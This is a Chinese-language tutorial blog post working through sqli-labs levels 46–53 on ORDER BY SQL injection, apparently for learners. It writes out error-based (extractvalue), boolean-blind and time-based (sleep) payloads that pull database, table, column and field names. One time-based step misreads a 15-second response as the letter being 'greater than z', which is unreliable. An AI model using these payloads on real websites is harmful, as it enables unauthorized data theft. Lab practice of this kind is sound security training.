目录
Less-46-Order By注入练习1
爆破数据库名
爆破表名
爆破列名
爆破字段值
46关代码审计
Less-47-Order By注入练习2
Less-48-Order By注入练习3
Less-49-Order By注入练习4
猜解数据库名
Less-50-Order By注入练习5
Less-51-Order By注入练习6
Less-52-Order By注入练习7
Less-53-Order By注入练习8
总结
Less-46-Order By注入练习1
首先我们进入46关:
可以看到页面回显:请输入参数为SORT。这里我们看一下第一关是回显什么的:
可以看到第一关的回显是:请输入参数为ID。
从这里对比就可以得出,一个是输入参数为ID的,一个是输入参数为SORT的,那是不是我们只需要把原来的参数ID替换为参数SORT就可以了,这里我们试验一下, 输入语句:
?sort=1
页面回显:
可以看到页面成功回显了数据,而且我们发现是经过排序之后展现出来的。说明后台的查询语句应该是根据我们输入的参数来进行排序之后显现的。
接下来我们测试一下SQL查询语句的闭合方式是什么,输入语句:
?sort=1'
页面回显:
我们输入语句进一步测试:
?sort=1' and '1'='1
页面回显:
可以看到页面依旧回显错误,说明闭合方式不是单引号,这里我测试一下是不是整型,输入语句:
?sort=1 and 1=1
页面回显:
可以发现这一关的闭合方式是整型。
接下来我测试一下有没有显示位,输入语句:
?sort=1' union select 1,2,3 --+
页面回显:
我们发现居然报了语法错误,报语法错误的话可能是语句写错了,但是经过我检查语句并没有写错。还有一种可能就是后台过滤,但是我们看到页面回显并没有进行任何过滤。那只有一种可能,那就是后台的查询语句并不支持联合注入,这个我下面讲为什么不支持(其中涉及了SQL语句的一个书写顺序问题) 。接下来我尝试一下报错注入可不可以。
爆破数据库名
输入语句:
?sort=1 and extractvalue(1,concat(0x7e,database())) --+
页面回显:
可以看到成功爆破了数据库名。
爆破表名
输入语句:
?sort=1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))) --+
页面回显:
可以看到成功爆破了第一张表名,其余表名的爆破方法一样,这里不再赘述。
爆破列名
输入语句:
?sort=1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) --+
页面回显:
可以看到成功爆破了表 emails 中第一列的名字,其余列名的爆破方法一样,这里不再赘述了。
爆破字段值
输入语句:
?sort=1 and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) --+
页面回显: 可以看到成功爆破了表 emails 中 id 列的第一个字段值,其余字段值的爆破方法一样,这里不再赘述。
46关代码审计
前面我说了不能使用联合注入,这里我带大家看一下具体的原因,首先我们查看一下源代码中的SQL查询语句:
可以看到我们输入的参数位于Order By语句后,而在MYSQL查询语法中,排序是放在最后面的,也就是说我们写入的联合查询的语句必须要放到排序语句之前才可以正常使用,显而易见这里是行不通的,所以这里不能使用联合注入。
Less-47-Order By注入练习2
这一关中只是闭合方式不一样,这一关的闭合方式是单引号,其余操作都和46关一样,这里不再赘述。
Less-48-Order By注入练习3
这一关中没有SQL语法错误的回显,也就不能使用报错注入了,也不能使用联合注入,只能使用盲注。 接下来我测试一下这一关能不能使用布尔盲注。
首先输入语句,测试一下页面有没有正常回显:
?sort=1
页面回显:
可以看到页面是有正常回显的,接下来输入语句测试一下页面有没有错误回显:
?sort=1' and '1'='1
页面回显:
可以看到页面是有不正常回显的,说明这一关可以使用布尔盲注,而且经过上述语句测试,这一关的闭合方式不是单引号,这里我测试一下是不是整型,输入语句:
?sort=1 and 1=1
页面回显:
可以看到页面出现了正常回显,说明这一关的闭合方式是整型。接下来使用布尔盲注就可以。前面布尔盲注已经讲过很多次了,这里就不再赘述了。
Less-49-Order By注入练习4
这一关的闭合方式是单引号,并且页面没有对错的不同回显,所以这一关中只能使用时间盲注。
猜解数据库名
首先输入语句猜解数据库长度:
?sort=1' and if(length(database())>8,1,sleep(1)) --+
我们查看一下页面的响应时间:
可以看到页面的响应时间足足有15秒,一般来说在网络良好的情况下页面的响应时间不会这么久,那应该就是名字长度小于8,我们再次输入语句测试:
?sort=1' and if(length(database())>7,1,sleep(1)) --+
再次查看页面的响应时间: 可以看到页面的响应时间为2秒左右,根据上述可以判断数据库名字的长度为8。
接下来就是判断数据库具体名字,输入语句:
?sort=1' and if(left(database(),1)>'a',1,sleep(1)) --+
查看页面响应时间:
可以看到页面响应时间为2秒左右,那么说明数据库名字的第一个字母的ASCII码值大于字母 a 的ASCII码值。继续输入语句测试:
?sort=1' and if(left(database(),1)>'z',1,sleep(1)) --+
查看页面响应时间: 可以看到页面响应时间为15秒左右,那么说明数据库名字的第一个字母的ASCII码值大于字母 z 的ASCII码值。通过这种方法最终可以确定第一个字母,其余字母的确定方法一样,这里不再赘述。
其余表名、列名、字段值的判断方法都一样,这里也不再赘述了。就是根据页面的响应时间去判断。
Less-50-Order By注入练习5
这一关和46关完全一样,都是闭合方式为整型的Order By注入,这里不再赘述。
Less-51-Order By注入练习6
这一关和46关相比只是闭合方式不同,这一关的闭合方式是单引号,其余操作都和46关一样,这里不再赘述。
Less-52-Order By注入练习7
这一关中没有报错回显,只能使用盲注,和48关完全一样,使用布尔盲注即可,这里不再赘述具体操作。
Less-53-Order By注入练习8
这一关和49关完全一样,闭合方式为单引号,使用时间盲注,这里不再赘述。
总结
这一片博客我主要讲解 Order By注入,其实 Order By注入只是把参数变了,其余的操作都和之前参数为ID的时候大同小异,最大的区别就是 Order By注入不能使用Union联合注入。